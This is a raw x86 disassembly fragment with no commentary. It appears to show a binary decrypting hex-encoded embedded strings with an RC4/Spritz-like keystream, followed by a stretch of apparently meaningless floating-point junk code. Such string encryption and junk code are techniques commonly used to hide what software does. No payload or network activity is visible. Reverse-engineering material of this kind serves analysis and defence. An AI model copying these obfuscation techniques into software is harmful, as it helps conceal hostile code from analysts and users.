movsd xmm0, qword [ebp - 0x4724]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334a], bl
jmp 0x431a87
movzx eax, byte [ebp - 0x334a]
movzx ebx, byte [ebp + eax - 0x5520]
movsd xmm0, qword [ebp - 0x4724]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334a], bl
jmp 0x431a87
movzx ecx, byte [ebp - 0x334a]
movzx ebx, byte [ebp + ecx - 0x5520]
movsd xmm0, qword [ebp - 0x4724]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334a], bl
jmp 0x431a87
movzx edx, byte [ebp - 0x334a]
movzx eax, byte [ebp + edx - 0x5520]
mov ecx, dword [ebp - 0x5fa8]
add ecx, dword [ebp - 0x44c8]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x334a], al
mov eax, dword [ebp - 0x44c8]
add eax, 1
mov dword [ebp - 0x44c8], eax
movzx ecx, byte [ebp - 0x3fe8]
cmp dword [ebp - 0x44c8], ecx
jb 0x431ac5
mov dword [ebp - 0x44c8], 0
movzx edx, byte [ebp - 0x3fe8]
movzx eax, byte [ebp - 0x334a]
add eax, edx
mov byte [ebp - 0x334a], al
movzx ecx, byte [ebp - 0x334a]
and ecx, dword [ebp - 0x4868]
mov dword [ebp - 0x433c], ecx
mov edx, dword [ebp - 0x4adc]
add edx, 1
mov dword [ebp - 0x4adc], edx
cmp dword [ebp - 0x4adc], 0xb
jbe 0x431b04
mov eax, dword [ebp - 0x433c]
xor edx, edx
div dword [ebp - 0x3940]
mov dword [ebp - 0x433c], edx
mov eax, dword [ebp - 0x433c]
cmp eax, dword [ebp - 0x3940]
ja 0x43197f
mov ecx, dword [ebp - 0x3940]
cmp ecx, dword [ebp - 0x433c]
je 0x431ba9
mov edx, dword [ebp - 0x433c]
movzx eax, byte [ebp + edx - 0x5520]
mov ecx, dword [ebp - 0x3940]
movzx edx, byte [ebp + ecx - 0x5520]
xor edx, eax
mov eax, dword [ebp - 0x3940]
mov byte [ebp + eax - 0x5520], dl
mov ecx, dword [ebp - 0x3940]
movzx edx, byte [ebp + ecx - 0x5520]
mov eax, dword [ebp - 0x433c]
movzx ecx, byte [ebp + eax - 0x5520]
xor ecx, edx
mov edx, dword [ebp - 0x433c]
mov byte [ebp + edx - 0x5520], cl
mov eax, dword [ebp - 0x433c]
movzx ecx, byte [ebp + eax - 0x5520]
mov edx, dword [ebp - 0x3940]
movzx eax, byte [ebp + edx - 0x5520]
xor eax, ecx
mov ecx, dword [ebp - 0x3940]
mov byte [ebp + ecx - 0x5520], al
jmp 0x43192f
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x326c], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x327d], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x32d6], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x327c], al
movzx ecx, byte [ebp - 0x334a]
mov dl, byte [ebp + ecx - 0x5520]
mov byte [ebp - 0x3298], dl
mov dword [ebp - 0x531c], 0x48
cmp dword [ebp - 0x531c], 2
jle 0x433b7a
mov eax, dword [ebp - 0x531c]
and eax, 1
jne 0x433b7a
mov dword [ebp - 0x3370], 0
mov dword [ebp - 0x356c], 0
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov dword [ebp - 0x3944], 0
mov edx, dword [ebp - 0x3370]
shl edx, 1
mov dword [ebp - 0x3944], edx
mov dword [ebp - 0x37c8], 0
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x3944]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x37c8]
mov dword [ebp - 0x37c8], ecx
mov dword [ebp - 0x37c4], 0
mov edx, dword [ebp - 0x37c4]
add edx, 0x4b
mov dword [ebp - 0x37c4], edx
mov dword [ebp - 0x394c], 0
mov eax, dword [ebp - 0x3370]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x394c], ecx
mov dword [ebp - 0x3784], 0
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x394c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3784]
mov dword [ebp - 0x3784], eax
mov dword [ebp - 0x378c], 0
mov ecx, dword [ebp - 0x378c]
add ecx, 0x82
mov dword [ebp - 0x378c], ecx
mov dword [ebp - 0x3790], 0
mov edx, dword [ebp - 0x37c8]
sub edx, dword [ebp - 0x37c4]
add edx, dword [ebp - 0x3790]
mov dword [ebp - 0x3790], edx
mov dword [ebp - 0x3794], 0
mov eax, dword [ebp - 0x3784]
sub eax, dword [ebp - 0x378c]
add eax, dword [ebp - 0x3794]
mov dword [ebp - 0x3794], eax
mov dword [ebp - 0x3950], 0
mov ecx, dword [ebp - 0x3790]
shl ecx, 4
mov dword [ebp - 0x3950], ecx
mov dword [ebp - 0x3954], 0
mov edx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], edx
mov dword [ebp - 0x3958], 0
mov eax, dword [ebp - 0x3950]
or eax, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], eax
mov byte [ebp - 0x32d7], 0
mov cl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], cl
mov byte [ebp - 0x32d5], 0
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x327d]
add eax, edx
mov byte [ebp - 0x327d], al
mov cl, byte [ebp - 0x326c]
add cl, 1
mov byte [ebp - 0x326c], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x327d]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x326c]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
xor ecx, eax
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp + eax - 0x5520]
xor ecx, edx
mov byte [ebp - 0x327c], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], al
mov cl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x431f3b
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0x2ae], dx
mov ecx, dword [ebp - 0x3370]
add ecx, 1
mov dword [ebp - 0x3370], ecx
mov edx, dword [ebp - 0x356c]
add edx, 1
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x3370]
shl eax, 1
mov dword [ebp - 0x3944], eax
mov ecx, dword [ebp - 0x3948]
add ecx, dword [ebp - 0x3944]
movzx edx, byte [ecx]
mov dword [ebp - 0x37c8], edx
mov dword [ebp - 0x37c4], 0x4b
mov eax, dword [ebp - 0x3370]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x394c], ecx
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x394c]
movzx eax, byte [edx]
mov dword [ebp - 0x3784], eax
mov dword [ebp - 0x378c], 0x82
mov ecx, dword [ebp - 0x37c8]
sub ecx, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], ecx
mov edx, dword [ebp - 0x3784]
sub edx, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], edx
mov eax, dword [ebp - 0x3790]
shl eax, 4
mov dword [ebp - 0x3950], eax
mov ecx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], ecx
mov edx, dword [ebp - 0x3950]
or edx, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], edx
mov al, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x3298]
mov dl, byte [ebp + ecx - 0x5520]
mov byte [ebp - 0x32d5], dl
movzx eax, byte [ebp - 0x326c]
movzx ecx, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp - 0x327d]
add edx, ecx
mov byte [ebp - 0x327d], dl
mov al, byte [ebp - 0x326c]
add al, 1
mov byte [ebp - 0x326c], al
movzx ecx, byte [ebp - 0x327d]
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + ecx - 0x5520]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp - 0x327d]
mov al, byte [ebp + ecx - 0x5520]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp - 0x327c]
mov al, byte [ebp + ecx - 0x5520]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x326c]
mov dl, byte [ebp - 0x32d5]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x32d5]
movzx ecx, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x327d]
movzx edx, byte [ebp + ecx - 0x5520]
movzx ecx, byte [ebp - 0x326c]
movzx ecx, byte [ebp + ecx - 0x5520]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5520]
xor eax, edx
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx ecx, byte [ebp - 0x3298]
movzx ecx, byte [ebp + ecx - 0x5520]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x5520]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5520]
movzx ecx, byte [ebp + edx - 0x5520]
xor eax, ecx
mov byte [ebp - 0x327c], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], dl
mov al, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], al
cmp dword [ebp - 0x3370], 0
jle 0x432195
movsx cx, byte [ebp - 0x3319]
mov edx, dword [ebp - 0x3370]
mov word [ebp + edx*2 - 0x2ae], cx
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x3370]
shl edx, 1
mov dword [ebp - 0x3944], edx
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x3944]
movzx ecx, byte [eax]
mov dword [ebp - 0x37c8], ecx
mov dword [ebp - 0x37c4], 0x4b
mov edx, dword [ebp - 0x3370]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x394c], eax
mov ecx, dword [ebp - 0x3948]
add ecx, dword [ebp - 0x394c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3784], edx
mov dword [ebp - 0x378c], 0x82
mov eax, dword [ebp - 0x37c8]
sub eax, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], eax
mov ecx, dword [ebp - 0x3784]
sub ecx, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], ecx
mov edx, dword [ebp - 0x3790]
shl edx, 4
mov dword [ebp - 0x3950], edx
mov eax, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], eax
mov ecx, dword [ebp - 0x3950]
or ecx, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], ecx
mov dl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + eax - 0x5520]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp + edx - 0x5520]
movzx ecx, byte [ebp - 0x327d]
add ecx, eax
mov byte [ebp - 0x327d], cl
mov dl, byte [ebp - 0x326c]
add dl, 1
mov byte [ebp - 0x326c], dl
movzx eax, byte [ebp - 0x327d]
movzx ecx, byte [ebp - 0x3298]
mov dl, byte [ebp + eax - 0x5520]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp - 0x327d]
mov dl, byte [ebp + eax - 0x5520]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x326c]
movzx ecx, byte [ebp - 0x327c]
mov dl, byte [ebp + eax - 0x5520]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x326c]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x5520]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327d]
movzx ecx, byte [ebp + eax - 0x5520]
movzx eax, byte [ebp - 0x326c]
movzx eax, byte [ebp + eax - 0x5520]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5520]
xor edx, ecx
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp + eax - 0x5520]
movzx eax, byte [ebp - 0x3298]
movzx eax, byte [ebp + eax - 0x5520]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x5520]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp + ecx - 0x5520]
xor edx, eax
mov byte [ebp - 0x327c], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], cl
mov dl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], dl
cmp dword [ebp - 0x3370], 0
jle 0x4323f0
movsx ax, byte [ebp - 0x3319]
mov ecx, dword [ebp - 0x3370]
mov word [ebp + ecx*2 - 0x2ae], ax
mov edx, dword [ebp - 0x356c]
add edx, 0xe
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x4ae0], eax
jmp 0x43241f
mov ecx, dword [ebp - 0x4ae0]
add ecx, 1
mov dword [ebp - 0x4ae0], ecx
mov edx, dword [ebp - 0x4ae0]
cmp edx, dword [ebp - 0x356c]
jge 0x432680
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x3944], ecx
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x3944]
movzx eax, byte [edx]
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], 0x4b
mov ecx, dword [ebp - 0x3370]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x394c], edx
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x394c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3784], ecx
mov dword [ebp - 0x378c], 0x82
mov edx, dword [ebp - 0x37c8]
sub edx, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], edx
mov eax, dword [ebp - 0x3784]
sub eax, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], eax
mov ecx, dword [ebp - 0x3790]
shl ecx, 4
mov dword [ebp - 0x3950], ecx
mov edx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], edx
mov eax, dword [ebp - 0x3950]
or eax, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], eax
mov cl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x327d]
add eax, edx
mov byte [ebp - 0x327d], al
mov cl, byte [ebp - 0x326c]
add cl, 1
mov byte [ebp - 0x326c], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x327d]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x326c]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
xor ecx, eax
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp + eax - 0x5520]
xor ecx, edx
mov byte [ebp - 0x327c], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], al
mov cl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x43267b
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0x2ae], dx
jmp 0x432410
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x3370]
add edx, 1
mov dword [ebp - 0x3370], edx
mov eax, dword [ebp - 0x356c]
add eax, 1
mov dword [ebp - 0x356c], eax
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x3944], ecx
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x3944]
movzx eax, byte [edx]
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], 0x4b
mov ecx, dword [ebp - 0x3370]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x394c], edx
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x394c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3784], ecx
mov dword [ebp - 0x378c], 0x82
mov edx, dword [ebp - 0x37c8]
sub edx, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], edx
mov eax, dword [ebp - 0x3784]
sub eax, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], eax
mov ecx, dword [ebp - 0x3790]
shl ecx, 4
mov dword [ebp - 0x3950], ecx
mov edx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], edx
mov eax, dword [ebp - 0x3950]
or eax, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], eax
mov cl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x327d]
add eax, edx
mov byte [ebp - 0x327d], al
mov cl, byte [ebp - 0x326c]
add cl, 1
mov byte [ebp - 0x326c], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x327d]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x326c]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
xor ecx, eax
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp + eax - 0x5520]
xor ecx, edx
mov byte [ebp - 0x327c], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], al
mov cl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x4328e8
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0x2ae], dx
mov ecx, dword [ebp - 0x3370]
add ecx, 1
mov dword [ebp - 0x3370], ecx
mov edx, dword [ebp - 0x356c]
add edx, 1
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x3370]
shl eax, 1
mov dword [ebp - 0x3944], eax
mov ecx, dword [ebp - 0x3948]
add ecx, dword [ebp - 0x3944]
movzx edx, byte [ecx]
mov dword [ebp - 0x37c8], edx
mov dword [ebp - 0x37c4], 0x4b
mov eax, dword [ebp - 0x3370]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x394c], ecx
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x394c]
movzx eax, byte [edx]
mov dword [ebp - 0x3784], eax
mov dword [ebp - 0x378c], 0x82
mov ecx, dword [ebp - 0x37c8]
sub ecx, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], ecx
mov edx, dword [ebp - 0x3784]
sub edx, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], edx
mov eax, dword [ebp - 0x3790]
shl eax, 4
mov dword [ebp - 0x3950], eax
mov ecx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], ecx
mov edx, dword [ebp - 0x3950]
or edx, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], edx
mov al, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x3298]
mov dl, byte [ebp + ecx - 0x5520]
mov byte [ebp - 0x32d5], dl
movzx eax, byte [ebp - 0x326c]
movzx ecx, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp - 0x327d]
add edx, ecx
mov byte [ebp - 0x327d], dl
mov al, byte [ebp - 0x326c]
add al, 1
mov byte [ebp - 0x326c], al
movzx ecx, byte [ebp - 0x327d]
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + ecx - 0x5520]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp - 0x327d]
mov al, byte [ebp + ecx - 0x5520]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp - 0x327c]
mov al, byte [ebp + ecx - 0x5520]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x326c]
mov dl, byte [ebp - 0x32d5]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x32d5]
movzx ecx, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x327d]
movzx edx, byte [ebp + ecx - 0x5520]
movzx ecx, byte [ebp - 0x326c]
movzx ecx, byte [ebp + ecx - 0x5520]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5520]
xor eax, edx
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx ecx, byte [ebp - 0x3298]
movzx ecx, byte [ebp + ecx - 0x5520]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x5520]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5520]
movzx ecx, byte [ebp + edx - 0x5520]
xor eax, ecx
mov byte [ebp - 0x327c], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], dl
mov al, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], al
cmp dword [ebp - 0x3370], 0
jle 0x432b42
movsx cx, byte [ebp - 0x3319]
mov edx, dword [ebp - 0x3370]
mov word [ebp + edx*2 - 0x2ae], cx
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x3370]
shl edx, 1
mov dword [ebp - 0x3944], edx
movss xmm0, dword [0xa6f340]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [0xa6f2e4]
movss dword [ebp - 0x35e4], xmm0
movss xmm0, dword [0xa6f25c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [0xa6f19c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [0xa6f0e4]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [0xa6f020]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x343c]
subss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x35e4]
addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x35e4], xmm0
movss xmm0, dword [ebp - 0x350c]
comiss xmm0, dword [ebp - 0x3568]
jbe 0x43309c
movss xmm0, dword [ebp - 0x3448]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x35e4]
addss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x35e4], xmm0
movss xmm0, dword [ebp - 0x3448]
divss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3568]
subss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3568]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x350c]
subss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x350c]
mulss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3568]
subss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3448]
divss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x3448]
comiss xmm0, dword [ebp - 0x350c]
jbe 0x433007
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3448]
